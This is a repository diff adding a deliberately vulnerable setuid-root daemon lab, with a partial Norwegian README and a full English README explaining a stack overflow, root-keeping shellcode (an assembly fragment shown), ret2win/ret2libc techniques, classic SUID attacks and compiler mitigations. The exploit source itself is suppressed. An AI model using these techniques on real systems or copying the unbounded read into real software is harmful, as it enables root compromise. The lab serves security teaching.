|--------------|-----------|------------------------------|
|
||||||
|
| `LD_PRELOAD` av et ondsinnet bibliotek | «Setuid-programmet laster min `.so` og kjører koden min som root.» | Kjernen merker en setuid-binærfil som **AT_SECURE**; glibc ignorerer deretter `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` og venner. Miljøet behandles som *upålitelig input*. `LD_PRELOAD` mot en setuid-binærfil er en no-op. |
|
||||||
|
| `PATH`-kapring (`system("ls")` med en forgiftet PATH) | «Pek PATH mot en mappe med min falske `ls`; root-programmet kjører den.» | Et annet ansikt av samme forsvar: en AT_SECURE-prosess får en **sanert `PATH`** (en sikker standard, omtrent `/usr/local/bin:/usr/bin:/bin`) for `system()`/`execvp`, så den forgiftede mappen konsulteres aldri. |
|
||||||
|
| Setuid-`system()`-kommandoinjeksjon | «Den injiserte kommandoen kjører med euid 0.» | `system()` kjører kommandoen i en fersk `/bin/sh`, og den shellen — §5.2 — nullstiller `euid = ruid` ved start. Den injiserte kommandoen utføres med den *reelle* uid-en. (Det er fortsatt en feil; den eskalerer bare ikke lenger gjennom `/bin/sh`.) |
|
||||||
|
| Setuid-root-shell på disken (`cp /bin/sh /tmp; chmod u+s`) | «Kjør den, få root.» | Nøyaktig forsvaret ovenfor, og det er grunnen til at moderne distroer ikke leverer noen setuid-root-shell. Selv når du lykkes med å lage én, nekter bash å beholde euid 0 med mindre den startes med `-p`. |
|
||||||
|
|
||||||
|
Det som forblir i live, og det er dette laboratoriet: **programmet er *allerede*
|
||||||
|
root når det kjører.** Du trenger ikke miljøet eller `system()`; du trenger at
|
||||||
|
programmet utfører *din* kode (via en minnekorrupsjonsfeil) mens det er
|
||||||
|
privilegert, og at koden din er omhyggelig nok til selv å rette opp
|
||||||
|
uid-mismatchen — `setreuid(0,0)` — før den overrekker deg en shell.
|
||||||
|
Minnekorrupsjon + SUID er kombinasjonen som fortsatt ender i `uid=0`, noe som er
|
||||||
|
nøyaktig hvorfor minnesikre språk, canaries og no-execute-stacker ikke er en
|
||||||
|
moteavgjørelse.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Sikkerhetsgelenderne som er bygget inn i daemonen
|
||||||
|
|
||||||
|
`foosd` er bevisst det *dårligste* stykket programvare i dette repositoriet, så
|
||||||
|
det bærer også flest gelendere:
|
||||||
|
|
||||||
|
1. **Bare loopback, håndhevet.** `foosd` nekter enhver bind-adresse utenom
|
||||||
|
loopback, med mindre du gir `-L`. En setuid-root-listener på et ekte
|
||||||
|
grensesnitt er en fjern root-tjeneste; avslaget er standarden, så den
|
||||||
|
farlige tilstanden må skrives inn bevisst.
|
||||||
|
2. **Selvdiagnose.** Ved start logger den `ruid`/`euid` og om den kjører som
|
||||||
|
root, så konsollen viser den tilstanden exploitet avhenger av.
|
||||||
|
3. **Loggen når aldri klienten.** Daemonen reserverer en privat
|
||||||
|
logg-descriptor før sockets erstatter fd 1, så crash-reporter-utdata og
|
||||||
|
interne stier ikke kan leses tilbake over ledningen av angriperen.
|
||||||
|
4. **Crash-reporter.** En SIGSEGV-handler logger `RIP`/`RSP` — den verdien
|
||||||
|
angriperen skrev inn i returadressen — så en vellykket kapring er synlig i
|
||||||
|
`foosd.log` i stedet for å være en stille død.
|
||||||
|
5. **`make unsetuid`.** Fjerning av biten er scriptet, fordi å etterlate den
|
||||||
|
satt er feiltilstanden folk faktisk har.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Mottiltak — hva hvert stopper, og hva det *ikke* stopper
|
||||||
|
|
||||||
|
Anvendt på `foosd` via `make hardened`, én om gangen eller sammen:
|
||||||
|
|
||||||
|
| Mottiltak | Hva det stopper | Hva det *ikke* stopper |
|
||||||
|
|------------|---------------|-------------------------|
|
||||||
|
| `-fstack-protector-strong` (canary) | Overløpet: `ret` oppdager en smadret canary og aborter, før angriperens adresse brukes. Stopper her **alle fire** teknikkene — de deler det ene sårbare `read()`-et. | Ingenting ved *designet*: binærfilen er fortsatt setuid-root; en annen feil (format-streng-`%n`, heap-overflow, use-after-free) har ingen canary å utløse. |
|
||||||
|
| `-fPIE -pie` (ASLR for binærfilen) | Bruk av forutsigbare `win()`/`win_root()`-adresser (ret2win-teknikkene). | Shellcode-teknikken, hvis en stack-adresse fortsatt lekker (`BUF=`-linjen). |
|
||||||
|
| `-z noexecstack` (NX / W^X) | Shellcoden: CPU-en nekter å hente instruksjoner fra en data-only-side, så et hopp til `buf` er et SIGSEGV. | ROP — å kjøre kode som allerede finnes (`ret2libc`). |
|
||||||
|
| Alle tre sammen | En vanskelig-å-renne-over, randomisert binærfil med ikke-kjørbar stack. Slik ser en normal hardet build ut. | Setuid-biten. **En hardet SUID-binærfil er fortsatt en SUID-binærfil.** Hvis noen nåbar minnesikkerhetsfeil overlever, er det fortsatt «feil i en root-prosess». |
|
||||||
|
|
||||||
|
Konsollbeviset er `make test-hardened`, som bytter den hardnede builden inn og
|
||||||
|
viser alle teknikkene dø ved canaryen, mens `foosd_hardened.log` fanger
|
||||||
|
`*** stack smashing detected ***`.
|
||||||
|
|
||||||
|
To mottiltak på designnivå som ingen kompilator-flag leverer, og som
|
||||||
|
hovedlaboratoriet (`food`) også bruker:
|
||||||
|
|
||||||
|
- **Minste privilegium.** En daemon for en uprivilegert port (2343 > 1024) har
|
||||||
|
intet legitimt behov for root. En korrekt `foosd` ville binde og deretter
|
||||||
|
`setgroups`/`setgid`/`setuid` til en uprivilegert konto og *bekrefte at det
|
||||||
|
holdt* (den korrekte versjonen står i kilden som `drop_privs()`, aldri kalt —
|
||||||
|
ikke-kallingen er laboratoriets feil nr. 3).
|
||||||
|
- **Begrens read-et.** `n = read(fd, buf, sizeof(buf) - 1)`. Én korrekt linje
|
||||||
|
overgår hvert kompilator-flag i tabellen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Wire-protokollen (så du kan lese daemonen med netcat)
|
||||||
|
|
||||||
|
```text
|
||||||
|
FOOSD 1.0 - deliberately vulnerable SUID service
|
||||||
|
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
|
||||||
|
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
|
||||||
|
BUF=0x7ffd...
|
||||||
|
```
|
||||||
|
|
||||||
|
* `ids=euid/ruid` — kunne ikke skrives ut som `euid=`/`ruid=`, fordi
|
||||||
|
test-harnessen beviser en shell ved å greppe etter det bokstavelige `uid=`, og
|
||||||
|
banneret må ikke inneholde det (en sonde som deler signatur med svaret, er en
|
||||||
|
klassisk falsk-positiv-felle; se kommentaren i `foosd.c`). Harnessen krever
|
||||||
|
dessuten den strenge `id`-utdataformen — `uid=NNN(...)` — så ingenting
|
||||||
|
daemonen eller exploitet skriver ut kan oppfylle sjekken ved en tilfeldighet:
|
||||||
|
`foosc`s eget «target euid=… ruid=…» inneholder `uid=` som delstreng, noe som
|
||||||
|
en gang fikk en hardnet test til å melde en shell som aldri hadde kjørt.
|
||||||
|
* `stack=`, `libc=`, `BUF=` — ASLR-leaksene: lar shellcode og ret2libc beregne
|
||||||
|
eksakte adresser.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Øvelser
|
||||||
|
|
||||||
|
1. **Betrakt ikke-root-nedgraderingen.** Kjør `make test` *før* `make setuid`,
|
||||||
|
og deretter igjen etterpå. Forklar `ROOT=SEEN`-endringen med
|
||||||
|
ruid/euid-historien i §5.2.
|
||||||
|
2. **Les krasjet.** Kjør `./foosc -t demo -n` og les deretter `foosd.log`.
|
||||||
|
Linjen `RIP=0x4141414141414141` er angriperens padding — beviset på at
|
||||||
|
overløpet, ikke uhell, kontrollerer utførelsen.
|
||||||
|
3. **Legg til canaryen.** `make hardened` og endre selv `test-hardened`-løkken;
|
||||||
|
logglinjen `*** stack smashing detected ***` er forsvaret som virker.
|
||||||
|
4. **Deaktiver leaket.** Kommentér `BUF=`-linjen i `foosd.c` ut, bygg om, og se
|
||||||
|
`-t shellcode` gå fra deterministisk til et gjettespill. Den ene linjen er
|
||||||
|
grunnen til at ekte ASLR-bypasser er et helt felt.
|
||||||
|
5. **`-p`-eksperimentet.** Endre i en kopi av `win()` `execl("/bin/sh", "sh",
|
||||||
|
NULL)` til `execl("/bin/sh", "sh", "-p", NULL)` og observer root. `-p` er
|
||||||
|
den dokumenterte nødutgangen fra shellens vakt — og grunnen til at rådet
|
||||||
|
«spawn bare en shell» fra gamle write-ups er ufullstendig.
|
||||||
|
6. **Hvorfor ikke `setuid(0)`?** Omskriv shellcoden til å kalle `setuid(0)`
|
||||||
|
i stedet for `setreuid(0,0)` (syscall 105). Shellen lander fortsatt — og
|
||||||
|
faller fortsatt til `uid=1000`. Det er det mest lærerike
|
||||||
|
én-linjes-eksperimentet i hele repositoriet.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Sikkerhet og opprydding
|
||||||
|
|
||||||
|
- Bare loopback, som standard og etter design; `-L` binder lenger, og bare en
|
||||||
|
egnet-til-å-kastes VM bør i det hele tatt vurdere det.
|
||||||
|
- Dette er et root-shell-laboratorium. Ikke kjør det på en maskin som betyr
|
||||||
|
noe, og pek ikke `foosc -h` mot noe du ikke eier.
|
||||||
|
- Oppryddingsritual: `make stop` og deretter `make unsetuid`, og hvis du vil ha
|
||||||
|
treet plettfritt igjen: `sudo make clean`.
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make stop
|
||||||
|
$ make unsetuid
|
||||||
|
```
|
||||||
388
suid/README.md
Normal file
388
suid/README.md
Normal file
|
|
@ -0,0 +1,388 @@
|
||||||
|
# SUID-Root RCE Lab — `foosd` (daemon) + `foosc` (exploit)
|
||||||
|
|
||||||
|
A companion to the parent lab (`food` / `fooc`, a plain daemon where a buffer
|
||||||
|
overflow gives you a *user* shell). This one adds the most dangerous
|
||||||
|
one-character change in Unix: the **setuid bit**.
|
||||||
|
|
||||||
|
> `chmod u+s` turns "the attacker can run code on this host" into "the
|
||||||
|
> attacker can run code as **root** on this host".
|
||||||
|
|
||||||
|
That sentence is the entire lab. Everything below is the mechanism underneath
|
||||||
|
it, written down so that when you write your own software you know exactly
|
||||||
|
which two or three filesystem attributes and compiler flags decide whether a
|
||||||
|
memory-safety bug in your code is a nuisance or a root shell.
|
||||||
|
|
||||||
|
The final demo, when `foosd` is setuid-root, is a **root shell** opened over
|
||||||
|
the network by executing 32 bytes of hand-written shellcode.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. What the setuid bit actually does
|
||||||
|
|
||||||
|
Every process on Linux carries three user IDs, and the setuid bit tinkers
|
||||||
|
with the relationship between them:
|
||||||
|
|
||||||
|
| ID | Name | Meaning |
|
||||||
|
|----|------|---------|
|
||||||
|
| `ruid` | real user ID | the account that *started* the process |
|
||||||
|
| `euid` | effective user ID | what the kernel checks when enforcing access |
|
||||||
|
| (saved) | saved set-user-ID | a "slot" a privileged process may return to later |
|
||||||
|
|
||||||
|
A normal program has `ruid == euid`. When you execute a binary with the
|
||||||
|
setuid bit set and owned by root:
|
||||||
|
|
||||||
|
```text
|
||||||
|
ruid = you (e.g. 1000, "hanez")
|
||||||
|
euid = the owner (e.g. 0, "root")
|
||||||
|
```
|
||||||
|
|
||||||
|
The process therefore has **root's authority** even though the user who
|
||||||
|
launched it is completely ordinary. Every check the kernel performs — can
|
||||||
|
this process read `/etc/shadow`? write a file? kill another process? — is
|
||||||
|
answered using `euid`, i.e. "yes, it's root".
|
||||||
|
|
||||||
|
`foosd` is a network daemon. It binds a port, then `fork()`s a child per
|
||||||
|
connection. A fork *inherits* the euid, so every child that handles a
|
||||||
|
connection is also root. The overflow in `foosd`'s `vulnerable_handler()` is
|
||||||
|
therefore an overflow *inside a root process*.
|
||||||
|
|
||||||
|
**Diagnose it yourself once the daemon runs:**
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosd ... # see the log line it prints at startup
|
||||||
|
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
|
||||||
|
```
|
||||||
|
|
||||||
|
and from the exploit:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosc -t leak
|
||||||
|
foosc: target euid=0 ruid=1000
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. The lab at a glance
|
||||||
|
|
||||||
|
| File | Role |
|
||||||
|
|------|------|
|
||||||
|
| `foosd.c` | The intentionally vulnerable daemon (owns the bugs). Run as a *setuid-root* binary for the root-shell demo. |
|
||||||
|
| `foosc.c` | The exploit. Defaults to the 32-byte `setreuid + execve` shellcode technique. |
|
||||||
|
| `shellcode.S` | The reference shellcode; `make verify` diffs it against the byte array in `foosc.c`. |
|
||||||
|
| `tests/pty_suid_test.c` | Test harness. Drives `foosc` through a pseudo-terminal and proves *both* "a shell ran" *and* "it was root" (`uid=0(`). |
|
||||||
|
| `Makefile` | Build, `setuid`/`unsetuid` helpers, test matrix. |
|
||||||
|
| `README.md` | This file. |
|
||||||
|
|
||||||
|
> **Why a pty?** The exploit's last act is to relay your terminal to the
|
||||||
|
> shell executing on the victim. A pipe or here-doc lands on the wrong end of
|
||||||
|
> that relay; a real terminal is required.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Quick start
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make # build everything, as your normal user
|
||||||
|
$ make setuid # one-time, asks for sudo: chown root + chmod u+s
|
||||||
|
$ make run # start foosd on 127.0.0.1:2343
|
||||||
|
$ make test-suid # full matrix; shellcode + ret2win-root must give root
|
||||||
|
```
|
||||||
|
|
||||||
|
Interactive smoke test:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosc -t shellcode
|
||||||
|
...
|
||||||
|
foosc: target euid=0 ruid=1000
|
||||||
|
foosc: shell is on the victim (root if foosd is SUID); relaying
|
||||||
|
# id
|
||||||
|
uid=0(root) gid=0(root) groups=0(root) <-- you are root, on the victim
|
||||||
|
# exit
|
||||||
|
```
|
||||||
|
|
||||||
|
When you are done:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make stop
|
||||||
|
$ make unsetuid # hygiene: never leave a root SUID binary lying around
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. *When should I set the SUID bit?* — the answer you asked for
|
||||||
|
|
||||||
|
Exactly **once, after building, before running the daemon for the
|
||||||
|
root-shell demos** — and only on a machine that is yours, disposable, and
|
||||||
|
off the network:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make # compile foosd, foosc, tests
|
||||||
|
$ make setuid # <-- THE moment. sudo chown root:root foosd && sudo chmod u+s foosd
|
||||||
|
$ make run # start AFTER setting the bit
|
||||||
|
```
|
||||||
|
|
||||||
|
Two rules that matter more than the exact timing:
|
||||||
|
|
||||||
|
1. **Set it only after the binary is final.** If you rebuild (`make` / `make
|
||||||
|
clean`) after setting the bit you will hit a "Permission denied" writing
|
||||||
|
the root-owned output file — and if you force the rebuild, the toolchain
|
||||||
|
recreates the file **without** the `s`, silently undoing the setup. The
|
||||||
|
canonical sequence whenever you rebuild is therefore
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make unsetuid && make && make setuid
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Remove it when you are done.** `make unsetuid`. A live, root-owned,
|
||||||
|
setuid binary with an exploitable bug sitting in your tree is not a
|
||||||
|
learning aid, it is a root hole with a compile error between it and
|
||||||
|
nowhere. On a shared or production machine: **don't do any of this.**
|
||||||
|
The daemon also refuses by default to bind anything but loopback (see
|
||||||
|
§7).
|
||||||
|
|
||||||
|
If you run the exploit *without* ever setting the bit, nothing breaks — the
|
||||||
|
payload still lands and you still get a shell. The difference is in one
|
||||||
|
number, and the exploit says it out loud:
|
||||||
|
|
||||||
|
```console
|
||||||
|
foosc: WARNING: the daemon is NOT running with euid 0.
|
||||||
|
The payload will still land, but the shell will be
|
||||||
|
a plain user shell, not root.
|
||||||
|
Fix: sudo make setuid
|
||||||
|
```
|
||||||
|
|
||||||
|
That "works, but not root" outcome is itself part of the lab. Keep it in
|
||||||
|
mind for the next section.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. The mechanism — and the twist that makes SUID interesting
|
||||||
|
|
||||||
|
### 5.1 The overflow (identical to `food`)
|
||||||
|
|
||||||
|
`foosd`'s handler gives a `read()` 512 bytes of trust while handing it a
|
||||||
|
64-byte stack buffer:
|
||||||
|
|
||||||
|
```c
|
||||||
|
char buf[64];
|
||||||
|
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over the edge */
|
||||||
|
```
|
||||||
|
|
||||||
|
On x86-64 the stack grows down. The exploit writes 64 bytes of junk to fill
|
||||||
|
`buf`, 8 to fill the saved frame pointer, and 8 more to replace the **saved
|
||||||
|
return address**. When `vulnerable_handler` executes `ret`, the CPU pops the
|
||||||
|
attacker's value into `RIP` — attacker-controlled code execution. The
|
||||||
|
exploit discovers the exact distance (88 bytes for this build) by parsing
|
||||||
|
`objdump` output rather than hardcoding it, so the number survives rebuilds.
|
||||||
|
|
||||||
|
### 5.2 The twist: the shell refuses to be root
|
||||||
|
|
||||||
|
Here is where thinking "SUID bug → spawn /bin/sh → root" would go wrong, and
|
||||||
|
why this lab has the exact shape it has.
|
||||||
|
|
||||||
|
When a setuid-root program runs, its `ruid` is still the launching user and
|
||||||
|
its `euid` is root. If the program — or the attacker — now starts a shell:
|
||||||
|
|
||||||
|
* `execve("/bin/sh")` does **not** change the uids; the new process inherits
|
||||||
|
`(ruid=1000, euid=0)`.
|
||||||
|
* bash (and dash) **check exactly that condition at startup**. From the bash
|
||||||
|
manual: *"If the shell is started with the effective user (group) id not
|
||||||
|
equal to the real user (group) id, and the -p option is not supplied, …
|
||||||
|
the effective user id is set to the real user id."*
|
||||||
|
|
||||||
|
So the shell takes one look at itself and *drops root* — a defence the shell
|
||||||
|
authors built specifically against this attack (the historical justification
|
||||||
|
was the setuid-shell / setuid-script problem). The result is the “works, but
|
||||||
|
not root” cases:
|
||||||
|
|
||||||
|
| Technique | What it executes | Resulting uid |
|
||||||
|
|-----------|------------------|---------------|
|
||||||
|
| `ret2win` | `foosd`'s `win()` → `execl("/bin/sh")` | **1000** — shell landed, root reset by bash |
|
||||||
|
| `ret2libc` | `system("/bin/sh")` → fresh `sh -c '/bin/sh'` | **1000** — same reset, one level down |
|
||||||
|
| `ret2win-root` | `foosd`'s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid cleared from C |
|
||||||
|
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid cleared from machine code |
|
||||||
|
|
||||||
|
The two that reach root differ from the two that don't by exactly one
|
||||||
|
idea: **they clear the *real* uid, not just the effective one.**
|
||||||
|
|
||||||
|
```c
|
||||||
|
setuid(0) /* changes euid to 0, but ruid stays 1000:
|
||||||
|
bash still sees euid != ruid and STILL resets. */
|
||||||
|
setreuid(0, 0) /* changes BOTH: ruid = euid = 0.
|
||||||
|
bash sees equal uids and keeps root. */
|
||||||
|
```
|
||||||
|
|
||||||
|
That is why the classic `/bin/sh` shellcode you will find everywhere on the
|
||||||
|
internet starts with a uid-clearing syscall — and it is the reason the
|
||||||
|
shellcode here is 32 bytes instead of 23: the first five instructions are
|
||||||
|
|
||||||
|
```asm
|
||||||
|
xor edi, edi ; ruid = 0
|
||||||
|
xor esi, esi ; euid = 0
|
||||||
|
push 0x71 ; 113 = __NR_setreuid
|
||||||
|
pop rax
|
||||||
|
syscall
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5.3 So what is the exploit, end to end?
|
||||||
|
|
||||||
|
1. `foosc` reads `foosd`'s banner over the socket. It gets:
|
||||||
|
- `ids=0/1000` — euid/ruid (the SUID self-diagnosis)
|
||||||
|
- `stack=…` and `libc=…` — pointers (the ASLR leaks)
|
||||||
|
- `BUF=…` — the exact address of the buffer it is about to overflow
|
||||||
|
2. From the target binary (via `objdump`) it learns `rip_off` and the
|
||||||
|
addresses of `win()` / `win_root()`.
|
||||||
|
3. From *its own* libc (via `/proc/self/maps` + `dlsym` + a memory scan) it
|
||||||
|
measures the offsets of `system`, `read`, `/bin/sh` and a
|
||||||
|
`pop rdi; ret` gadget — nothing is hardcoded.
|
||||||
|
4. It assembles the payload. For `-t shellcode` that is:
|
||||||
|
`[32-byte setreuid+execve code][padding to RIP][ret fix][address of buf]`.
|
||||||
|
5. `foosd`'s `read()` overflows; `ret` lands on the shellcode; the kernel
|
||||||
|
executes `setreuid(0,0)` (fine: euid 0 is privileged) and then `execve`
|
||||||
|
of `/bin/sh`. bash starts with `ruid == euid == 0` and stays root.
|
||||||
|
6. `foosc` relays your terminal to that root shell until you type `exit`.
|
||||||
|
|
||||||
|
One sanity detail that costs people a lot of time if missed: the exploit
|
||||||
|
tests each uid-clearing behaviour **without** needing the setuid bit first.
|
||||||
|
Run `make test` before `make setuid` and you will watch every technique land
|
||||||
|
a shell while `ROOT=MISSING`; run `make test-suid` after `make setuid` and
|
||||||
|
`ROOT=SEEN` appears on the two techniques that clear the real uid. That A/B
|
||||||
|
is the whole lesson, executable in ten seconds.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. The old one-liners — and why most of them are dead
|
||||||
|
|
||||||
|
If you have read about SUID, you have read about `PATH` hijacking, `LD_PRELOAD`,
|
||||||
|
and setuid shells. All three are classic, and all three fail on a modern
|
||||||
|
system against *this program*. It is worth knowing precisely why, because the
|
||||||
|
reasons are the defences you get for free:
|
||||||
|
|
||||||
|
| Attack class | Old claim | Why it fails on a modern box |
|
||||||
|
|--------------|-----------|------------------------------|
|
||||||
|
| `LD_PRELOAD` a malicious library | "The setuid program loads my `.so` and runs my code as root." | The kernel marks a setuid binary as **AT_SECURE**; glibc then ignores `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` and friends. The environment is treated as *untrusted input*. `LD_PRELOAD` against a setuid binary is a no-op. |
|
||||||
|
| `PATH` hijack (`system("ls")` with a poisoned PATH) | "Point PATH at a directory containing my fake `ls`; the root program runs it." | A second face of the same defence: an AT_SECURE process gets a **sanitized `PATH`** (a safe default, `/usr/local/bin:/usr/bin:/bin`-ish) for `system()`/`execvp`, so the poisoned directory is never consulted. |
|
||||||
|
| Setuid `system()` command injection | "The injected command runs with euid 0." | `system()` runs the command in a fresh `/bin/sh`, and that shell — §5.2 — resets `euid = ruid` on startup. The injected command executes as the *real* uid. (It is still a bug; it just no longer escalates through `/bin/sh`.) |
|
||||||
|
| Setuid root shell on disk (`cp /bin/sh /tmp; chmod u+s`) | "Run it, get root." | Exactly the defense above, and it is why modern distros ship no setuid root shell. Even when you succeed in making one, bash refuses to keep euid 0 unless started with `-p`. |
|
||||||
|
|
||||||
|
What remains alive, and is this lab: **the program is *already* root when it
|
||||||
|
runs.** You do not need the environment or `system()`; you need the program
|
||||||
|
to execute *your* code (via a memory-corruption bug) while privileged, and
|
||||||
|
your code must be careful enough to fix the uid mismatch itself —
|
||||||
|
`setreuid(0,0)` — before it hands you a shell. Memory corruption + SUID is
|
||||||
|
the combination that still ends in `uid=0`, which is exactly why memory-safe
|
||||||
|
languages, canaries, and no-execute stacks are not a fashion choice.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. The safety rails built into the daemon
|
||||||
|
|
||||||
|
`foosd` is deliberately the *worst* piece of software in this repository, so
|
||||||
|
it also carries the most guard rails:
|
||||||
|
|
||||||
|
1. **Loopback only, enforced.** `foosd` refuses any bind address other than
|
||||||
|
loopback unless you pass `-L`. A setuid-root listener on a real
|
||||||
|
interface is a remote root service; the refusal is the default so the
|
||||||
|
dangerous state has to be typed in deliberately.
|
||||||
|
2. **Self-diagnosis.** At startup it logs `ruid`/`euid` and whether it is
|
||||||
|
running as root, so the console shows the state the exploit depends on.
|
||||||
|
3. **The log never reaches the client.** The daemon reserves a private log
|
||||||
|
descriptor before sockets replace fd 1, so crash reporter output and
|
||||||
|
internal paths cannot be read back over the wire by the attacker.
|
||||||
|
4. **Crash reporter.** A SIGSEGV handler logs `RIP`/`RSP` — the value the
|
||||||
|
attacker wrote into the return address — so a successful hijack is
|
||||||
|
visible in `foosd.log` instead of being a silent death.
|
||||||
|
5. **`make unsetuid`.** Removing the bit is scripted, because leaving it set
|
||||||
|
is the failure mode people actually have.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Mitigations — what each one does and does *not* stop
|
||||||
|
|
||||||
|
Applied to `foosd` via `make hardened`, one at a time or together:
|
||||||
|
|
||||||
|
| Mitigation | What it stops | What it does *not* stop |
|
||||||
|
|------------|---------------|-------------------------|
|
||||||
|
| `-fstack-protector-strong` (canary) | The overflow: `ret` detects a smashed canary and aborts before the attacker's address is used. Stops **all four** techniques here — they share the one vulnerable `read()`. | Nothing about the *design*: the binary is still setuid root; a different bug (format string `%n`, heap overflow, use-after-free) has no canary to trip. |
|
||||||
|
| `-fPIE -pie` (ASLR for the binary) | Using predictable `win()`/`win_root()` addresses (the ret2win techniques). | The shellcode technique, if a stack address still leaks (the `BUF=` line). |
|
||||||
|
| `-z noexecstack` (NX / W^X) | The shellcode: the CPU refuses to fetch instructions from a data-only page, so jumping to `buf` is a SIGSEGV. | ROP — running code that already exists (`ret2libc`). |
|
||||||
|
| All three together | A hard-to-overflow, randomised, non-executable-stack binary. This is what a normal hardened build looks like. | The setuid bit. **A hardened SUID binary is still a SUID binary.** If any reachable memory-safety bug survives, it is still "bug inside a root process". |
|
||||||
|
|
||||||
|
The console proof is `make test-hardened`, which swaps in the hardened build
|
||||||
|
and shows all techniques dying at the canary while `foosd_hardened.log`
|
||||||
|
records `*** stack smashing detected ***`.
|
||||||
|
|
||||||
|
Two design-level mitigations that no compiler flag delivers, and that the
|
||||||
|
parent lab (`food`) uses as well:
|
||||||
|
|
||||||
|
- **Least privilege.** A daemon for an unprivileged port (2343 > 1024) has
|
||||||
|
no legitimate need for root. A correct `foosd` would bind, then
|
||||||
|
`setgroups`/`setgid`/`setuid` to an unprivileged account and *verify it
|
||||||
|
stuck* (the correct version is in the source as `drop_privs()`, never
|
||||||
|
called — the un-called-ness is Bug #3 of the lab).
|
||||||
|
- **Bound the read.** `n = read(fd, buf, sizeof(buf) - 1)`. One correct
|
||||||
|
line outranks every compiler flag in the table.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. The wire protocol (so you can read the daemon with netcat)
|
||||||
|
|
||||||
|
```text
|
||||||
|
FOOSD 1.0 - deliberately vulnerable SUID service
|
||||||
|
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
|
||||||
|
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
|
||||||
|
BUF=0x7ffd...
|
||||||
|
```
|
||||||
|
|
||||||
|
* `ids=euid/ruid` — could not be printed as `euid=`/`ruid=` because the test
|
||||||
|
harness proves a shell by grepping for the literal `uid=` and the banner
|
||||||
|
must not contain it (a probe sharing a signature with the answer is a
|
||||||
|
classic false-positive trap; see the comment in `foosd.c`). The harness
|
||||||
|
additionally requires the strict `id`-output shape — `uid=NNN(...)` — so
|
||||||
|
nothing the daemon or the exploit prints can satisfy the check by
|
||||||
|
accident: `foosc`'s own "target euid=… ruid=…" chatter contains `uid=` as
|
||||||
|
a substring, which once made a hardened-build test report a shell that
|
||||||
|
had never run.
|
||||||
|
* `stack=`, `libc=`, `BUF=` — the ASLR leaks: allow the shellcode and
|
||||||
|
ret2libc to compute exact addresses.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Exercises
|
||||||
|
|
||||||
|
1. **Watch the non-root demotion.** Run `make test` *before* `make
|
||||||
|
setuid`, then again after. Explain the `ROOT=SEEN` change using the
|
||||||
|
ruid/euid story in §5.2.
|
||||||
|
2. **Read the crash.** Run `./foosc -t demo -n` and then read `foosd.log`.
|
||||||
|
The `RIP=0x4141414141414141` line is the attacker's padding — the proof
|
||||||
|
that the overflow, not bad luck, controls execution.
|
||||||
|
3. **Add the canary.** `make hardened` and change the `test-hardened` loop
|
||||||
|
yourself; the log line `*** stack smashing detected ***` is the defence
|
||||||
|
working.
|
||||||
|
4. **Disable the leak.** Comment out the `BUF=` line in `foosd.c`,
|
||||||
|
rebuild, and watch `-t shellcode` go from deterministic to a guessing
|
||||||
|
game. That single line is why real ASLR bypasses are a whole field.
|
||||||
|
5. **The `-p` experiment.** In a copy of `win()`, change `execl("/bin/sh",
|
||||||
|
"sh", NULL)` to `execl("/bin/sh", "sh", "-p", NULL)` and observe root.
|
||||||
|
`-p` is the documented escape hatch from the shell's guard — and the
|
||||||
|
reason "just spawn a shell" advice from old write-ups is incomplete.
|
||||||
|
6. **Why not `setuid(0)`?** Rewrite the shellcode to call `setuid(0)`
|
||||||
|
instead of `setreuid(0,0)` (syscall 105). The shell still lands — and
|
||||||
|
still drops to `uid=1000`. This is the single most instructive one-line
|
||||||
|
experiment in the whole repository.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Safety and cleanup
|
||||||
|
|
||||||
|
- Loopback only, by default and by design; `-L` binds further, and only a
|
||||||
|
disposable VM should even consider it.
|
||||||
|
- This is a root-shell lab. Do not run it on a machine that matters, and do
|
||||||
|
not point `foosc -h` at anything you do not own.
|
||||||
|
- Cleanup ritual: `make stop` then `make unsetuid`, and if you want the tree
|
||||||
|
pristine again `sudo make clean`.
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make stop
|
||||||
|
$ make unsetuid
|
||||||
|
```
|
||||||
1142
suid/foosc.c
Normal file
1142
suid/foosc.c
Normal file
File diff suppressed because it is too large
Load diff
728
suid/foosd.c
Normal file
728
suid/foosd.c
